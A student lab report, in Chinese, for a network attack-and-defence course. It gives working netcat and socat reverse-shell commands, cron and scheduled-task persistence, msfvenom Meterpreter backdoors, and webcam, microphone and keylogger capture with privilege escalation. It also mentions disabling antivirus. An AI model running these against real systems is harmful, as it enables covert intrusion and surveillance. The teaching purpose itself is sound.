20222409 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/23 21:42:42

1.实验内容

1.1 本周学习内容

  • 后门技术:学习了后门的定义及其在网络安全中的作用。后门是一种隐秘的进入方式,允许攻击者绕过正常的认证机制,获取系统访问权限。在实验中实践了如何利用后门获取shell。
  • netcat:可以用于创建TCP/UDP连接,实现远程shell访问和文件传输。
  • socat:功能更强大,支持多种协议和数据流,能实现跨平台的后门连接,并结合任务计划启动后门。
  • MSF meterpreter:学习了如何通过MSF meterpreter生成恶意代码,传输至目标主机以获取shell。此外,还使用它获取目标主机的音频、摄像头、击键记录等隐私数据,并进行提权操作。
  • 免杀技术:免杀技术的目标是通过混淆代码、多态性等方法绕过杀毒软件的检测。
  • 学习了如何生成shellcode并通过缓冲区溢出漏洞注入系统,最终获取反弹连接的shell。

1.2 实践目标

  • 使用netcat获取主机操作shell,cron启动某项任务(任务自定)
  • socat获取主机操作shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接shell。

1.3 问题回答

1.3.1 例举你能想到的一个后门进入到你系统中的可能方式

通过社会工程学攻击,被诱导下载并运行伪装成正常软件的恶意程序,如邮件中的附件、假冒的软件下载链接,恶意程序中隐藏的后门会进入系统。

1.3.2 例举你知道的后门如何启动起来(win及linux)的方式

在windows系统中,后门可以通过任务计划(Task Scheduler)自动启动,绑定恶意程序在特定时间执行。
在linux中,后门常通过cron定时任务启动,攻击者可以配置定时任务来执行反向shell或启动其他恶意操作。

1.3.3 Meterpreter有哪些给你映像深刻的功能?

获取摄像头视频或照片的功能(webcam_snap)、录制目标设备麦克风音频(record_mic)、实时监控键盘输入的击键记录功能(keyscan_start)以及通过漏洞利用模块进行权限提升(getsystem)。

1.3.4 如何发现自己有系统有没有被安装后门?

检查系统中运行的可疑进程、网络连接、计划任务,或使用入侵检测系统(IDS)和杀毒软件扫描来发现是否存在后门。

2.实验过程

2.1 使用netcat获取主机操作shell并设置cron任务

在本部分实验中,我们将使用netcat来获取远程shell,并通过linux的cron任务来实现自动化定时反弹连接。整个实验过程会涉及到两台主机,一台是windows主机,另一台是linux主机。我们将通过netcat在两台主机之间建立shell连接,并设置定时任务来维持反弹shell连接。

2.1.1 使用netcat获取主机shell

2.1.1.1 获取windows和linux主机IP

在windows主机的命令提示符下输入ipconfig,结果如图1所示。可见windows主机的ip地址为:192.168.43.33
在linux主机的终端下输入ifconfig,结果如图2所示。可见linux主机的ip地址为:192.168.21.131

图1:windows主机IP地址


图2:linux主机IP地址

2.1.1.2 配置windows主机

首先,在windows主机上开启netcat监听。
下载netcat后,用cmd进入命令提示符,进入nc.exe文件所在路径,使用学号作为端口号,使用以下命令启动监听:

nc -l -p 2409
  • 命令格式:
nc -l -p [端口号]
  • 命令参数解释:
    nc: netcat工具的可执行文件,笔者下载的版本中有nc.exe和nc64.exe两个。
    -l: 监听模式,让netcat在指定的端口上等待连接。
    -p 2409: 指定监听的端口号,这里使用学号2409。
  • 命令作用:该在windows主机上启动netcat,监听 2409 端口,等待来自linux主机的连接。
2.1.1.3 在linux主机上反弹shell到windows主机

接下来,我们在linux主机上启动netcat并发起一个反向连接,获取windows主机的控制权。。
在linux主机上运行以下命令来连接windows主机:

nc 192.168.43.33 2409 -e /bin/sh
  • 命令格式:
nc [目标IP地址] [端口号] -e /bin/sh
  • 命令参数解释:
    nc: 在linux系统上使用的netcat命令。
    192.168.43.33: 目标主机(windows主机)的IP地址。
    2409: windows主机上正在监听的端口号,,这里使用学号2409
    -e /bin/sh: 在反向连接建立后,linux将执行/bin/sh,从而将shell交给远程主机。
  • 命令作用:该命令通过netcat向windows主机发起连接,连接成功后,linux主机的shell将绑定到此连接上,使windows主机能够控制linux。
2.1.1.4 验证windows和linux的连接

一旦连接成功,windows主机的cmd窗口将允许通过windows执行linux命令。
尝试在windows主机上运行一些简单的linux命令,如whoami和ls,进行测试,结果如图3所示,说明连接成功。

图3:windows与linux连接验证

2.1.2 设置cron定时任务

2.1.2.1 编辑crontab文件

为了使反弹连接自动执行,我们需在linux端设置cron任务。cron是linux系统的定时任务调度程序,能够定期执行指定的命令。在本实验中,cron任务将每小时定时发起反弹连接,命令如下:

crontab -e
  • 命令参数解释:
    crontab:用于管理定时任务的命令。
    -e:编辑当前用户的cron任务。
  • 命令作用: 打开当前用户的cron任务编辑界面,允许我们添加或修改定时任务。

初次进入需要选择模式(如图4所示),输入2选择/usr/bin/vim.basic

图4:crontab编辑器选择

2.1.2.2 添加定时任务

在编辑器中打开crontab文件后,我们可以添加一个定时任务,定期执行反弹shell的命令。这里我们配置每小时的第39分钟通过netcat向windows主机发起连接。
键盘敲击i,进入insert模式,输入以下命令,结果如图5所示。

39 * * * * /bin/nc 192.168.43.33 2409 -e /bin/bash
  • cron语法格式:
[分钟] [小时] [日] [月] [星期] [要执行的命令]
  • 命令作用: 使linux主机在每小时的第39分钟,向windows主机的IP地址 192.168.43.33 发起一个 netcat 连接,并通过端口2409获取目标shell,建立起反向shell连接。


图5:添加cron定时任务

随后键盘敲击esc,之后输入:wq保存并退出。
如需查看时程表,可输入crontab -l

2.1.2.3 验证cron任务是否生效

在39分时,linux主机会通过cron任务自动发起与windows主机的连接,成功后,windows主机将获取linux的shell权限。此时,在windows的终端中可以输入命令,如pwd,以确认连接是否成功。结果如图6所示,输出为linux的工作目录路径,表示cron任务生效。

图6:验证cron任务反弹连接

2.2 使用socat获取主机操作shell并通过windows任务计划启动

在本节实验中,我们通过socat工具在windows系统上执行命令,并使用windows的任务计划程序启动反向shell连接,实现从linux控制windows系统的操作。

2.2.1 在windows上创建计划任务,通过socat监听端口并反向连接到linux

首先,确保windows上已经安装了socat。如果尚未安装,可以通过下载windows版本的socat(​github.com/valorisa/socat-1.8.0.1_for_windows)
在windows命令行状态下进入socat文件夹,输入以下命令:

socat.exe tcp-listen:2409 exec:cmd.exe,pty,stderr
  • 命令格式:
socat tcp-listen:<端口号> exec:<可执行文件>,pty,stderr
  • 命令参数解释:
    tcp-listen:2409:指定监听端口为2409,等待linux主机连接。
    exec:cmd.exe:指定执行的命令为cmd.exe,即当连接建立时运行windows命令行。
    pty:分配伪终端,使得程序的输出可以正确显示。
    stderr:重定向标准错误流,以确保错误信息不会丢失。
  • 命令作用: 在windows端监听端口2409,并在有连接时执行命令行(cmd.exe),实现远程shell控制。

2.2.2 在linux端建立连接

在linux主机的终端下输入以下命令:

socat - tcp:192.168.43.33:2409
  • 命令格式:
    socat - tcp:<windows_IP地址>:<端口号>
  • 命令作用: 在linux主机上发起连接请求,与windows主机建立TCP连接,并通过端口2409获取远程shell。

2.2.3 通过任务计划设置定期触发

编写示例程序,代码如图7所示:

图7:socat任务计划示例程序

在在windows命令行状态下进入socat文件夹,输入以下命令:

schtasks /create /sc minute /mo 1 /tn "20222409wqb_socat" /tr E:\ACMLearning\test.exe
  • 命令参数解释:
    /sc minute:指定任务以每分钟为单位定时触发。
    /mo 1:每1分钟触发一次。
    /tn "20222409wqb_socat":任务名称
    /tr E:\ACMLearning\test.exe:触发文件路径

win+x打开计算机管理,找到20222409wqb_socat任务,如图8所示:

图8:windows任务计划列表

运行后,wqb20222409.txt的内容如图9所示,任务2完成:

图9:任务计划执行结果

2.3 使用MSF meterpreter生成可执行文件,通过ncat传送并获取shell

在本实验步骤中,我们将使用 Metasploit Framework (MSF) 中的 msfvenom 工具生成一个带有反向连接功能的后门可执行文件,之后通过 ncat 工具将该后门文件传送到windows主机,并执行获取远程shell。

2.3.1 使用 msfvenom 生成后门可执行文件

首先,我们使用 msfvenom 来生成一个反向TCP连接的后门程序。该程序将在windows主机执行并建立反向连接到我们的Kali linux主机,允许我们在Kali上控制windows的shell。
在linux下运行如下命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f exe > wqb_20222409_backdoor.exe
  • 命令格式:
    msfvenom -p LHOST= LPORT= -f >
  • 命令参数解释:
    -p windows/meterpreter/reverse_tcp:指定生成windows平台的 Meterpreter 反向TCP连接的Payload。
    LHOST=192.168.21.131:指定本地监听的IP地址,即Kali linux的IP(攻击者机器的IP)。
    LPORT=2409:指定监听的端口号
    -f exe:生成 .exe 格式的可执行文件。

wqb_20222409_backdoor.exe:将生成的后门文件保存为 wqb_20222409_backdoor.exe

  • 命令作用: 此命令利用 msfvenom 生成一个windows可执行文件,该文件在运行时将反向连接到Kali linux主机的指定IP和端口,提供一个远程控制shell。

结果如图10所示

图10:MSF生成后门文件

2.3.2 通过 ncat 将后门文件传送至windows主机

在windows命令行状态下进入netcat文件夹,输入以下命令:

nc -l -p 2409 > wqb_20222409_backdoor.exe
  • 命令格式:
    nc -l -p <port> > <output-file>
  • 命令参数解释:
    -l:启动监听模式。
    -p 2409:监听的端口号为2409,需与之前生成后门时指定的端口保持一致。

wqb_20222409_backdoor.exe:指定要保存的文件名称,与Kali linux上生成的后门文件名一致。

  • 命令作用: windows主机开始监听端口2409,等待Kali linux传送文件并将其保存为 wqb_20222409_backdoor.exe。

在Kali linux上执行文件传送命令:

nc 192.168.43.33 2409 < wqb_20222409_backdoor.exe
  • 命令格式:
    ncat <target-IP> <port> < <file>
  • 命令参数解释:
    192.168.43.33:windows主机的IP地址。
    2409:传输文件的端口号。
    < wqb_20222409_backdoor.exe:指定要传送的后门文件。
  • 命令作用: 该命令通过ncat 将后门文件 wqb_20222409_backdoor.exe 从Kali linux传输至windows主机。

结果如图11所示:

图11:ncat传送后门文件

2.3.3 在Kali linux上启动监听并等待反向连接

当后门文件在windows主机上执行后,它会尝试与Kali linux主机建立反向连接。为了捕获这个连接,我们需要在Kali linux上通过 Metasploit 启动监听。
在linux下输入以下指令启动Metasploit控制台:

msfconsole

使用 exploit/multi/handler 模块进行监听:

use exploit/multi/handler

设置Payload和监听参数:

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409

随后在windows端netcat目录下运行后门程序:

D:\netcat-win32-1.12> wqb_20222409_backdoor.exe

在linux端启动监听:

exploit

随后,可以看到类似图12的界面,即为Meterpreter界面显示成功的连接信息

图12:Meterpreter连接成功

2.4 使用MSF meterpreter生成后门,获取音频、摄像头及击键记录,并尝试提权

在本节实验中,我们将使用 Metasploit Framework (MSF) 的 Meterpreter 模块,生成并部署一个后门程序,以获取目标系统的音频、摄像头和击键记录等信息。与此同时,还将尝试提权操作,以进一步提升攻击者的权限,达到更高级别的控制。

2.4.1 生成后门文件

首先,我们使用 MSFVenom 工具生成一个可以执行的后门程序。该程序在运行后,将通过反向连接(reverse TCP)连接到攻击者的Kali linux主机,从而获取对目标系统的控制。
在任务3的基础上键入

record_mic -d 10
screenshot
webcam_snap
keyscan_start
keyscan_dump
  • 命令参数解释:
    record_mic:录制目标主机麦克风音频。
    -d 10:录制时长为10秒。
    screenshot:截取目标主机当前屏幕的内容,并将截图文件返回给攻击者。
    webcam_snap:通过目标主机的摄像头拍摄一张图片,并将其传回给攻击者。
    keyscan_start:启动击键记录。
    keyscan_dump:输出并查看击键记录。

获取结果如图13、14所示:

图13:获取音频与截图

图14:获取后终端结果

为了获取更高权限,继续键入:

getuid
getsystem

结果如图15所示:
由图可知,使用 getuid 命令后,返回了目标系统的用户名为王勤博,其主机名为LAPTOP-P5NMF6J1。这表明攻击者已经成功在目标主机上建立了有效的Meterpreter会话,获取到了当前用户的身份信息。
使用 getsystem 命令后,系统提示攻击者成功通过 Technique 1 提权,具体方法为Named Pipe Impersonation。这意味着攻击者已获得了系统级别的权限,攻击者可以完全控制目标系统。

图15:提权操作结果

2.5 使用MSF生成shellcode并注入到pwn1中,获取反弹shell

在此步骤中,我们将利用Metasploit Framework(MSF)生成一个shellcode,并将其注入到易受攻击的程序(pwn1)中,从而获取反向连接的shell。

2.5.1 生成shellcode并注入到pwn20222409

首先,我们使用 msfvenom 工具生成一个针对linux的反向连接shellcode,并将其注入到实验一中使用的脆弱程序(pwn20222409)中。生成的文件将保存为 pwn20222409wqb。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -x /home/kali/Desktop/pwn20222409 -f elf > /home/wangqinbo/Desktop/pwn20222409wqb
  • 命令格式:
    msfvenom -p LHOST= LPORT= -x
  • 命令参数解释:
    -p linux/x86/meterpreter/reverse_tcp:指定使用linux x86架构的反向TCP连接的Meterpreter会话作为payload。
    LHOST=192.168.21.131:Kali linux的IP地址,用于反弹连接到攻击者主机。
    LPORT=2409:监听的端口号。
    -x /home/kali/Desktop/pwn20222409:指定脆弱程序pwn20222409作为模板文件,shellcode将被注入其中。
    -f elf:指定输出文件的格式为ELF(linux可执行文件格式)。

/home/wangqinbo/Desktop/pwn20222409wqb:文件保存路径。

  • 命令作用:通过 msfvenom 生成一个适合linux x86平台的反向连接shellcode,并将其注入到模板文件 pwn20222409 中,生成的文件将保存为 pwn20222409wqb。这个文件将在目标主机上执行时与Kali linux主机建立反向连接,从而使攻击者获得对目标主机的控制权。

2.5.2 启动MSF监听模块

在生成了注入shellcode的程序之后,需要在Kali主机上设置一个监听器,以等待目标主机的反向连接。我们使用Metasploit的 exploit/multi/handler 模块进行监听。
使用2.4中一样的命令

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409
exploit

2.5 使用MSF生成shellcode并注入到pwn1中,获取反弹连接shell
本实验的第五步旨在使用Metasploit Framework(MSF)生成反向连接shellcode,并将其注入到一个存在漏洞的程序(pwn20222409)中,从而在攻击者主机上获取目标主机的反向shell。该过程分为生成shellcode、注入shellcode、启动监听器、执行攻击、并最终获取目标主机控制权的多个步骤。

2.5.1 生成shellcode并注入到pwn20222409
首先,我们使用 msfvenom 工具生成一个针对linux的反向连接shellcode,并将其注入到实验一中使用的脆弱程序(pwn20222409)中。生成的文件将保存为 pwn20222409wqb。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -x /home/wangqinbo/Desktop/pwn20222409 -f elf > /home/wangqinbo/Desktop/pwn20222409wqb
  • 命令格式:
    msfvenom -p LHOST= LPORT= -x
  • 命令参数解释:
    -p linux/x86/meterpreter/reverse_tcp:指定使用linux x86架构的反向TCP连接的Meterpreter会话作为payload。
    LHOST=192.168.21.131:Kali linux的IP地址,用于反弹连接到攻击者主机。
    LPORT=2409:监听的端口号。
    -x /home/wangqinbo/Desktop/pwn20222409:指定脆弱程序pwn20222409作为模板文件,shellcode将被注入其中。
    -f elf:指定输出文件的格式为ELF(linux可执行文件格式)。

/home/wangqinbo/Desktop/pwn20222409wqb:文件的保存路径

  • 命令作用:通过 msfvenom 生成一个适合linux x86平台的反向连接shellcode,并将其注入到模板文件 pwn20222409 中,生成的文件将保存为 pwn20222409wqb。这个文件将在目标主机上执行时与Kali linux主机建立反向连接,从而使攻击者获得对目标主机的控制权。

2.5.2 启动MSF监听模块
在生成了注入shellcode的程序之后,需要在Kali主机上设置一个监听器,以等待目标主机的反向连接。我们使用Metasploit的 exploit/multi/handler 模块进行监听。
使用2.4类似的命令:

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409

2.5.3 执行生成的shellcode

现在,目标主机需要执行注入了shellcode的可执行文件 pwn20222409wqb,从而触发反向连接。首先,我们需要为该文件赋予执行权限,然后运行它。
linux主机新建一个终端,输入

cd Desktop
chmod +x pwn20222409wqb
./pwn20222409wqb

之后原终端,输入exploit触发,结果如图16所示:

图16:pwn20222409wqb反弹连接成功

3.问题及解决方案

  • 问题1:时程表选择错误。未选择2:/usr/bin/vim.basic
  • 问题1解决方案:使用命令select-editor重新选择
  • 问题2:windows下命令行报错

    图17:windows命令行报错
  • 问题2解决方案:命令行进入netcat文件夹下,并把ncat.exe改成nc
  • 问题3:netcat中的nc.exe、nc64.exe被杀毒软件删除
  • 问题3解决方案:退出火绒,关闭防火墙
  • 问题4:crontab需要root权限
  • 问题4解决方案:用sudo su进入管理员模式,或者在命令前加上sudo,执行一条需要 root 权限的命令,而不完全切换到 root 用户
  • 问题5:报错:(UNKNOWN) [192.168.1.115] 2409 (?) : Connection refused
  • 问题5解决方案:用管理员权限
  • 问题6:出现乱码
  • 问题6解决方案:输入命令chcp 65001

4.学习感悟、思考等

本次实验使我深刻理解了后门技术在网络攻防中的应用与危害。通过实践,掌握了如何利用工具如Netcat、Socat和MSF Meterpreter获取远程Shell,并执行复杂的渗透任务,在绕过安全机制和实现反向连接时,增强了对攻击路径的洞察。在操作过程中,亲身体验了免杀技术的重要性,了解攻击者如何通过混淆代码等方式规避杀毒软件的检测。同时,本次实验也让我认识到,防御侧不仅需要依赖防火墙与杀毒软件,还应结合实时监控与日志分析等手段,提高对系统后门的检测能力。

参考资料

  • socat-1.8.0.1_for_Windows
  • windows下CMD常用命令
  • 0x21_MAL_后门原理与实践.md
  • Linux下不保存退出以及相关退出命令
  • Linux开机启动、利用crontab实现开机启动某个程序

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/75222.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

经典力学

经典力学 概述 包括运动学和动力学,附加一套分析力学的语言其实就是这一部分的全部核心了。利用最基础的力、能量、动量、速度、加速度等概念再加上目前的这些基本定理自己就可以解决所有的经典力学问题。不过应试的时候还是需要我们去背记一些模型甚至是公式以便加快解题速度…

宝塔面板安装教程

安装前请确保是【全新的机器】,没有安装其他任何环境,否则会影响您的业务使用! 填写好服务器信息,点击“立即安装到服务器”即全自动完成安装,在安装过程中请勿刷新页面! 数据传输过程中加密处理,不保存任何账号密码信息,请放心使用。 系统兼容性推荐:CentOS 7.x >…

FPS-Frontiers in Plant Science

Frontiers in Plant Science是在植物研究领域领先的期刊,通过出版严格的同行评审来推动我们对于植物生物学这一领域认知的进步,这本多学科开放获取期刊处于向全球研究人员、学者、政策制定者和公众传播和交流科学知识和有影响力的发现的最前沿。从作物分子遗传学、细胞生物学…

PbootCMS后台管理界面布局错乱,样式不正常怎么办

问题描述:后台管理界面布局错乱,样式不正常。 解决方案:检查CSS文件:确保CSS文件路径正确,文件加载正常。 检查文件权限:确保CSS文件的权限设置正确。 清除浏览器缓存:清除浏览器缓存,重新加载页面。 检查Web服务器配置:确保Web服务器配置正确,特别是静态文件的配置。…

cyi 源鲁杯2024第一轮wp

2024“源鲁杯”高校网络安全技能大赛Round 1 Misc [Round 1] hide_png stegsolve黑白通道(需要自己适当调整大小),然后丁真YLCTF{a27f2d1a-9176-42cf-a2b6-1c87b17b98dc} [Round 1] plain_crack 给了build.py和初始的build,压缩后发现两个文件一样,且加密算法为zipcrypto,…

学期2024-2025-1 学号20241424 《计算机基础与程序设计》第5周学习总结

学期2024-2025-1 学号20241424 《计算机基础与程序设计》第5周学习总结 作业信息 |这个作业属于2024-2025-1-计算机基础与程序设计)| |-- |-- | |这个作业要求在|(https://www.cnblogs.com/rocedu/p/9577842.html#WEEK05))| |这个作业的目标|<参考上面的学习总结模板,把学…

立博为证

12345我他妈要是再在没仔细思考一个小时之前就瞎几把看讨论区和标签,然后看到一些若有若无的傻逼言论,然后瞎几把看题解我就吃屎,天天做题是他妈让你瞎看标签和讨论浪费好题的? 原因如图

2024秋软工实践 第二小组团队展示与选题报告

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13290作业的目标 初步决定大作业选题,并进行需求分析和答辩团队名称 旺仔水饺102201140 黎曼 102201130 黄俊瑶102201127 罗永辉 102201130 郑哲浩10220…